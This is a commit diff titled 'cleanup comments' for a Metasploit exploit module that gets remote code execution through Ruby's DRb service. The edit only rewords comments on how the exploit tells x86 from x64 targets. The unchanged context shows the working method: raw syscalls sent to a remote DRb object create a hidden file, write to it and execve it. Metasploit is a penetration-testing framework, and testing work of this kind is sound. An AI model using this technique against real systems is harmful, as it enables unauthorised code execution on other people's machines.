cleanup comments

modules/exploits/linux/misc/drb_remote_codeexec.rb

@@ -62,9 +62,9 @@ class MetasploitModule < Msf::Exploit::Remote
     filename = "." + Rex::Text.rand_text_alphanumeric(16)
 
     begin
-      # syscall to decide wether it's 64 or 32 bit:
-      # it's getpid on 32bit which will succeed, and writev on 64bit
-      # which will fail due to missing args
+      # Decide if this is running on an x86 or x64 target.
+      # This syscall number is getpid on x86, which will succeed,
+      # or writev on x64, which will fail due to missing args.
       j = p.send(:syscall, 20)
       # syscall open
       i =  p.send(:syscall, 8, filename, 0700)
@@ -77,7 +77,7 @@ class MetasploitModule < Msf::Exploit::Remote
       # syscall execve
       p.send(:syscall, 11, filename, 0, 0)
 
-    # likely 64bit system
+    # likely x64
     rescue Errno::EBADF
       # syscall creat
       i = p.send(:syscall, 85, filename, 0700)